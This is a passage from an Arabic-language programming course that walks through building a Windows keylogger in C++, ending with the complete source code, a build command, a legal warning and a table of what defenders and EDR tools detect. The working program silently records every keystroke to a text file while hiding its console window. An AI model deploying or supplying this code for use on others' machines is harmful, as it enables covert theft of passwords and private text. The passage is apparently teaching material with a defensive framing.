ما سيحدث بالترتيب: تظهر النافذة، تطبع Hiding in 3 sec...، تنتظر ثلاث ثوانٍ، تختفي فجأةً، تبقى مخفيّةً خمس ثوانٍ، ثمّ ينتهي البرنامج.

افتح Task Manager وأنت تنتظر. البرنامج ما يزال هناك، يعمل، وله ذاكرة ومعالج. النافذة اختفت؛ العمليّة لم تختفِ. هذا فرق جوهريّ سنبني عليه لاحقاً، وهو أيضاً أوّل مكان يبحث فيه المدافع.

تقنية «console مخفيّ» قديمة جدّاً و Defender يكتشفها فوراً. للتعلّم ممتازة؛ لغير التعلّم لا.

خلاصة القسم

  • API واجهة دوال جاهزة تستفيد منها دون معرفة تفاصيلها الداخليّة.
  • Windows API (Win32) قائم منذ 1993 وموثّق بالكامل على Microsoft Learn.
  • #include <windows.h> يفتح آلاف الدوال أمامك.
  • Virtual Key Code رقم موحّد لكلّ مفتاح مهما كانت لغة اللوحة، ورموز الحروف تطابق ASCII.
  • GetAsyncKeyState(c) == -32767 تعني: المفتاح c ضُغط للتوّ وما زال مضغوطاً.
  • AllocConsole + FindWindowA + ShowWindow ثلاثيّة إخفاء نافذة الـ console.
  • كلّ هذه الأنماط تكتشفها أنظمة EDR فوراً. للتعلّم فقط.

اختبر نفسك

  1. لماذا لا تستطيع C++ القياسيّة وحدها معرفة أيّ مفتاح ضُغط، بينما يستطيع Windows API ذلك؟
  2. ما الفرق بين القيمة -32768 والقيمة -32767 عند استدعاء GetAsyncKeyState، وأيّ بتّ يصنع الفرق؟
  3. لماذا يبدأ النطاق من 8 وينتهي عند 222 بدل أن يمسح كلّ الأرقام الممكنة؟
  4. ماذا يُرجع FindWindowA، ولماذا نحتاج هذه القيمة قبل استدعاء ShowWindow؟
  5. بعد أن تُخفي النافذة، أين يستطيع المدافع أن يرى برنامجك ما يزال يعمل؟

القسم 9القسم 9: بناء الـ Keylogger الكامل

كلّ ما سبق كان قطعاً منفصلة على الطاولة. حلقة لا نهائيّة من القسم 5. switch من القسم 4. سرّ الـ 32 من القسم 3. ofstream و ios::app من القسم 7. GetAsyncKeyState و hide() من القسم 8.

في هذا القسم نركّبها. ولن نفعل ذلك دفعةً واحدة: ستّ خطوات صغيرة، كلّ واحدة تُترجَم وتعمل وحدها قبل أن ننتقل إلى التي بعدها. هذه ليست طريقة عرض؛ هذه طريقة عمل. برنامج يُبنى على ستّ دفعات صغيرة يُصلَّح خطؤه في دقيقة، وبرنامج يُكتب كاملاً ثمّ يُترجَم أوّل مرّة يأخذ ساعةً حتّى تعرف أيّ سطر كسره.

#الخطوةما تضيفه
1اكتشاف الضغطاتحلقة تفحص كلّ المفاتيح وتطبع الرمز
2Zone 1كبير ← صغير بإضافة 32
3Zone 2احترام Shift
4Zone 3المفاتيح الخاصّة بـ switch
5الكتابة في ملفّofstream مع ios::app
6إخفاء النافذةFindWindowA + ShowWindow

الخطوة 1: اكتشاف الضغطات

الهدف الأصغر الممكن: حلقة لا نهائيّة تفحص كلّ المفاتيح من 8 إلى 222، وعندما تجد مفتاحاً ضُغط للتوّ تطبع رقمه.

cpp
#include <windows.h>
#include <iostream>
using namespace std;

int main() {
    cout << "Press any key... (Ctrl+C to stop)" << endl;
    unsigned char c;
    for (;;) {
        for (c = 8; c < 222; c++) {
            if (GetAsyncKeyState(c) == -32767) {
                cout << "Key: " << (int)c << endl;
            }
        }
    }
    return 0;
}
bash
g++ step1.cpp -o step1.exe
.\step1.exe

🧪 معمل: شغّله وراقب الأرقام

اضغط A ← Key: 65. اضغط a ← Key: 65 أيضاً، لأنّ الضغط الفيزيائيّ واحد والنظام لا يعرف بعدُ شيئاً عن حالة الحرف. Space ← 32. Enter ← 13. Shift ← 16، وسيظهر مع الحرف لا بدلاً منه. الأرقام من 48 إلى 57.

ولاحظ شيئاً مزعجاً: إن أبقيت إصبعك على مفتاح، تُطبع أرقام كثيرة جدّاً. السبب أنّ -32767 تبقى صحيحةً طوال مدّة الضغط في هذه البنية. سنعالجها في الخطوة 5 بسطر واحد.


الخطوة 2: Zone 1 — من الكبير إلى الصغير

الآن نترجم الرقم إلى حرف. وهنا يعود سرّ الـ 32 من القسم 3: لو كان c بين 64 و 91 — أي A..Z — فإضافة 32 تحوّله إلى a..z. ليس جدولاً، ولا دالّةً، ولا مكتبة: عمليّة جمع واحدة.

cpp
if (GetAsyncKeyState(c) == -32767) {
    if (c > 64 && c < 91) {    // Zone 1
        c += 32;               // كبير → صغير
        cout << c;
    }
}

هذه النسخة تتجاهل كلّ ما ليس حرفاً. مقصود: خطوة واحدة في كلّ مرّة.


الخطوة 3: Zone 2 — احترام Shift

الترجمة السابقة تُنزل كلّ شيء إلى الصغير، حتّى حين يقصد المستخدم الكبير. الحلّ أن نسأل عن Shift نفسه وقت الضغط:

cpp
if (GetAsyncKeyState(c) == -32767) {
    if (c > 64 && c < 91 && !(GetAsyncKeyState(0x10))) {
        c += 32;            // Zone 1: حرف كبير بلا Shift → صغير
        cout << c;
    }
    else if (c > 64 && c < 91) {
        cout << c;          // Zone 2: حرف كبير مع Shift → يبقى كبيراً
    }
}

و 0x10 هو 16، أي VK_SHIFT.

🧪 معمل: جرّب Shift

اكتب hello بلا Shift فترى hello. أمسك Shift واكتبها فترى HELLO.

وما يزال ناقصاً: Space لا يُطبع، Enter لا يفعل شيئاً، الأرقام لا تظهر، Backspace مجهول. كلّها ليست في Zone 1 ولا Zone 2. هذه وظيفة الخطوة التالية.


الخطوة 4: Zone 3 — المفاتيح الخاصّة

كلّ ما ليس حرفاً أبجديّاً يذهب إلى switch، وهو المكان الذي تصير فيه قراءة السجلّ ممكنةً بدل أن تكون سلسلة أرقام:

cpp
else {
    switch (c) {
        case VK_SPACE:   cout << " ";               break;
        case VK_RETURN:  cout << "<enter>" << endl; break;
        case VK_BACK:    cout << "<backspace>";     break;
        case VK_TAB:     cout << "<tab>";           break;
        case 48: cout << "0"; break;   case 49: cout << "1"; break;
        case 50: cout << "2"; break;   case 51: cout << "3"; break;
        case 52: cout << "4"; break;   case 53: cout << "5"; break;
        case 54: cout << "6"; break;   case 55: cout << "7"; break;
        case 56: cout << "8"; break;   case 57: cout << "9"; break;
    }
}

الثوابت: VK_SPACE = 0x20 = 32، و VK_RETURN = 0x0D = 13، و VK_BACK = 0x08 = 8، و VK_TAB = 0x09 = 9. استعمل الاسم لا الرقم؛ الكود يُقرأ أكثر ممّا يُكتب.


الخطوة 5: من الشاشة إلى ملفّ

التحوّل أبسط ممّا تتوقّع، وهو بالضبط الفكرة التي بنى عليها القسم 7: cout و ofstream يتشاركان الصيغة نفسها. أضف #include <fstream>، واستبدل كلّ cout بكائن ofstream مفتوح بـ ios::app.

cpp
if (GetAsyncKeyState(c) == -32767) {
    ofstream write(LOG_FILE, ios::app);   // افتح للإضافة

    if (c > 64 && c < 91 && !(GetAsyncKeyState(0x10))) {
        c += 32;
        write << c;
    }
    else if (c > 64 && c < 91) { write << c; }
    else { switch (c) { /* ... */ } }

    write.close();   // أغلق بعد كلّ ضربة
    break;           // اكسر الحلقة الداخليّة
}

سطران يستحقّان الشرح:

write.close() بعد كلّ ضربة يضمن أنّ الحرف وصل القرص فعلاً. لو بقي الملفّ مفتوحاً واعتمدنا على الإغلاق عند نهاية البرنامج، فبرنامج لا ينتهي أبداً لن يُغلقه أبداً، وما كُتب يبقى في الذاكرة المؤقّتة.

و break هو الحلّ الذي وعدنا به في الخطوة 1: يكسر الحلقة الداخليّة بعد أوّل مفتاح مضغوط في الدورة، فيمنع تسجيل المفتاح نفسه مرّاتٍ متعدّدة خلال المسح الواحد.


الخطوة 6: إخفاء النافذة

cpp
void hide() {
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth, 0);
}

int main() {
    hide();   // أوّل ما يُنفّذ: اختفِ
    log();    // ثمّ ابدأ التسجيل
    return 0;
}

هل اختفى تماماً؟ من الشاشة نعم؛ من Task Manager لا. الإخفاء من قائمة العمليّات يحتاج تقنيات Rootkit، وهي خارج نطاق هذه الدورة تماماً.

ملاحظة قانونيّة. هذا التكوين — تسجيل ضغطات مع إخفاء النافذة — يُصنَّف Spyware إن شُغّل على جهاز لا تملكه أو بلا إذن مكتوب. نحن نبنيه لنفهم كيف يُكتشَف. شغّله على جهازك أنت، داخل بيئة معزولة، ولا شيء غير ذلك.

البرنامج كاملاً

cpp
#include <windows.h>
#include <iostream>
#include <fstream>
using namespace std;

#define LOG_FILE "Record.txt"

void hide() {
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth, 0);
}

void log() {
    unsigned char c;

    for (;;) {
        for (c = 8; c < 222; c++) {
            if (GetAsyncKeyState(c) == -32767) {
                ofstream write(LOG_FILE, ios::app);

                if ((c > 64) && (c < 91) && !(GetAsyncKeyState(0x10))) {
                    c += 32;
                    write << c;
                    write.close();
                    break;
                }
                else if ((c > 64) && (c < 91)) {
                    write << c;
                    write.close();
                    break;
                }
                else {
                    switch (c) {
                        case VK_SPACE:   write << " ";           break;
                        case VK_RETURN:  write << "<enter>\n";   break;
                        case VK_BACK:    write << "<backspace>"; break;
                        case VK_TAB:     write << "<tab>";       break;
                        case VK_SHIFT:   write << "<shift>";     break;
                        case 48: write << "0"; break;  case 49: write << "1"; break;
                        case 50: write << "2"; break;  case 51: write << "3"; break;
                        case 52: write << "4"; break;  case 53: write << "5"; break;
                        case 54: write << "6"; break;  case 55: write << "7"; break;
                        case 56: write << "8"; break;  case 57: write << "9"; break;
                        default: write << "[" << (int)c << "]"; break;
                    }
                    write.close();
                    break;
                }
            }
        }
    }
}

int main() { hide(); log(); return 0; }

🧪 معمل: ترجمه وشغّله

bash
g++ keylogger.cpp -o keylogger.exe -static
.\keylogger.exe

-static يضمّن المكتبات داخل الملفّ التنفيذيّ، فيعمل على جهاز لا يملك MinGW. ستختفي نافذة الـ terminal ويعمل البرنامج بصمت، و Record.txt يظهر بجواره ويكبر مع كلّ ضغطة.

لإيقافه: Task Manager ← ابحث عن keylogger.exe ← End task.


من عيون الدفاع

لا تقرأ هذا القسم كملحق. هذا هو الجزء الذي يجعل ما سبق تعليماً بدل أن يكون وصفةً.

ما يفعله البرنامجما يراه المدافع
حلقة polling على GetAsyncKeyStateنمط توقيعيّ تكتشفه EDR فوراً
استدعاء FindWindowA + ShowWindow(0)تقنية console مخفيّ، معروفة منذ سنوات
كتابة متكرّرة في ملفّ نصّيّ بجوار الملفّ التنفيذيّسلوك ملفّيّ شاذّ، ورقة السجلّ نفسها دليل
عمليّة بلا نافذة تعمل بلا نهايةظاهرة في Task Manager وفي أيّ جرد عمليّات

الخلاصة الصادقة: ما بنيته الآن لن ينجو من أيّ مضادّ فيروسات حديث، ولا يُفترض أن ينجو. قيمته أنّك صرت تعرف، سطراً بسطر، ما الذي يبحث عنه المدافع ولماذا. الفصول القادمة تبني على هذا الفهم من الجهتين معاً.


خلاصة القسم

  • بُني البرنامج على ستّ خطوات، كلّ واحدة تعمل وحدها قبل التالية.
  • ثلاث مناطق ترجمة: صغير، كبير مع Shift، ومفاتيح خاصّة بـ switch.
  • ios::app يضيف ولا يمسح، و close() بعد كلّ ضربة يضمن الوصول إلى القرص.
  • break يمنع التسجيل المضاعف داخل الدورة الواحدة.
  • الإخفاء يخصّ النافذة وحدها؛ العمليّة تبقى ظاهرة.
  • كلّ نمط استعملناه مكشوف دفاعيّاً، وهذه هي الفائدة لا العيب.

اختبر نفسك

  1. لماذا بنينا البرنامج على ستّ خطوات بدل كتابته دفعةً واحدة؟
  2. ما الذي يفعله break في نهاية كتلة if، وأيّ مشكلة ظهرت في الخطوة 1 يعالجها؟
  3. لماذا نستدعي write.close() بعد كلّ ضغطة بدل الاعتماد على الإغلاق عند نهاية البرنامج؟
  4. اشرح الفرق بين Zone 1 و Zone 2، وأيّ استدعاء يفرّق بينهما.
  5. اذكر ثلاثة أشياء يراها المدافع في هذا البرنامج، وكيف تربط كلّاً منها بسطر في الكود.